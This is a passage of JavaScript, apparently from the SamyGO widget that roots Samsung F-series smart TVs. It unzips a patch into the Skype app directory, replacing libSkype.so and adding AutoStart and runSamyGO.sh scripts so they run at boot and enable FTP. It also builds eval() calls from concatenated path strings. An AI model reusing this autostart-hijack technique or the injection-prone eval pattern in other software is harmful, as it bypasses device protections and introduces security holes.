case tvKey.KEY_PANEL_ENTER: 36 | if (currentStep == 0) { 37 | clearLog(); 38 | setupSamyGO(packagePath); 39 | } else if (currentStep == 2) { 40 | rootSamyGO(packagePath); 41 | } else if (currentStep == 7) logPara("SamyGO already activated!"); 42 | else logPara("SamyGO not activated! Check for errors!"); 43 | break; 44 | default: 45 | break; 46 | } 47 | }; 48 | 49 | function showTitle() { 50 | var titleDivElement = document.getElementById("title"); 51 | var title = "Widget " + curWidget.id + " for Samsung SmartTV F-series"; 52 | widgetAPI.putInnerHTML(titleDivElement, title); 53 | if ("SamyGO" == curWidget.id) { 54 | logPara("Press Enter for activation " + curWidget.id + "!"); 55 | } else { 56 | logPara("Current widget name '" + curWidget.id + "' differs from expected 'SamyGO'!"); 57 | } 58 | }; 59 | 60 | function log(message) { 61 | var logDivElement = document.getElementById("log"); 62 | logMessage = logMessage + message + "
"; 63 | widgetAPI.putInnerHTML(logDivElement, logMessage); 64 | }; 65 | 66 | function logPara(message) { 67 | var logDivElement = document.getElementById("log"); 68 | logMessage = logMessage + "

" + message + "

"; 69 | widgetAPI.putInnerHTML(logDivElement, logMessage); 70 | }; 71 | 72 | function clearLog() { 73 | var logDivElement = document.getElementById("log"); 74 | logMessage = ""; 75 | widgetAPI.putInnerHTML(logDivElement, logMessage); 76 | }; 77 | 78 | function setupSamyGO(path) { 79 | logPara("*********************** Setup SamyGO files *************************************"); 80 | 81 | var skypeNotFound = false; 82 | currentStep += exists(skypePath + '/libSkype.so'); 83 | if (currentStep != 1) { 84 | skypeNotFound = true; 85 | }; 86 | exists(skypePath + "/AutoStart"); 87 | exists(skypePath + "/runSamyGO.sh"); 88 | exists(skypePath + "/remoteSamyGO.zip"); 89 | currentStep += exists(packagePath + "/SamyGO/data/patch"); 90 | 91 | if (currentStep == 2) { 92 | logPara("All activation files found on: '"+ packagePath + "'"); 93 | logPara("Press Enter for activation " + curWidget.id + "!"); 94 | } else { 95 | if (skypeNotFound) { 96 | logPara("Skype not found. Read Skype installation procedure."); 97 | } else { 98 | logPara("Some activation files not found on: '" + packagePath + "'"); 99 | } 100 | currentStep = -1; 101 | } 102 | }; 103 | 104 | function rootSamyGO(path) { 105 | logPara("*********************** Root SamyGO files **************************************"); 106 | 107 | currentStep += unzip(packagePath +"/SamyGO/data/patch", skypePath + "/"); 108 | currentStep += exists(skypePath + "/libSkype.so"); 109 | currentStep += exists(skypePath + "/AutoStart"); 110 | currentStep += exists(skypePath + "/runSamyGO.sh"); 111 | currentStep += exists(skypePath + "/remoteSamyGO.zip"); 112 | 113 | if (currentStep == 7) { 114 | logPara("All activation files processed."); 115 | logPara("Now press exit and restart TV then test FTP"); 116 | } else { 117 | logPara("Some activation files not processed."); 118 | logPara("Read the rooting procedure."); 119 | currentStep = -1; 120 | } 121 | log("Free memory: " + Math.round((filePlugin.GetTotalSize() - filePlugin.GetUsedSize())/1048576) + " Mbytes"); 122 | }; 123 | 124 | function status(result) { 125 | var color = (result == 1 ? "green" : "red"); 126 | return "" + (result == 1 ? "[OK]" : "[NO]") + ""; 127 | }; 128 | 129 | function exists(from) { 130 | var command = "filePlugin.IsExistedPath('" + from + "')"; 131 | var result = eval(command); 132 | log("Existing '" + from + "' ? " + status(result)); 133 | return result; 134 | }; 135 | 136 | function unzip(from, to) { 137 | var command = "filePlugin.Unzip('" + from + "', '" + to + "')"; 138 | var result = eval(command); 139 | log("Extracted '" + from + "' to '" + to +"' ? " + status(result)); 140 | return result; 141 | }; 142 | --------------------------------------------------------------------------------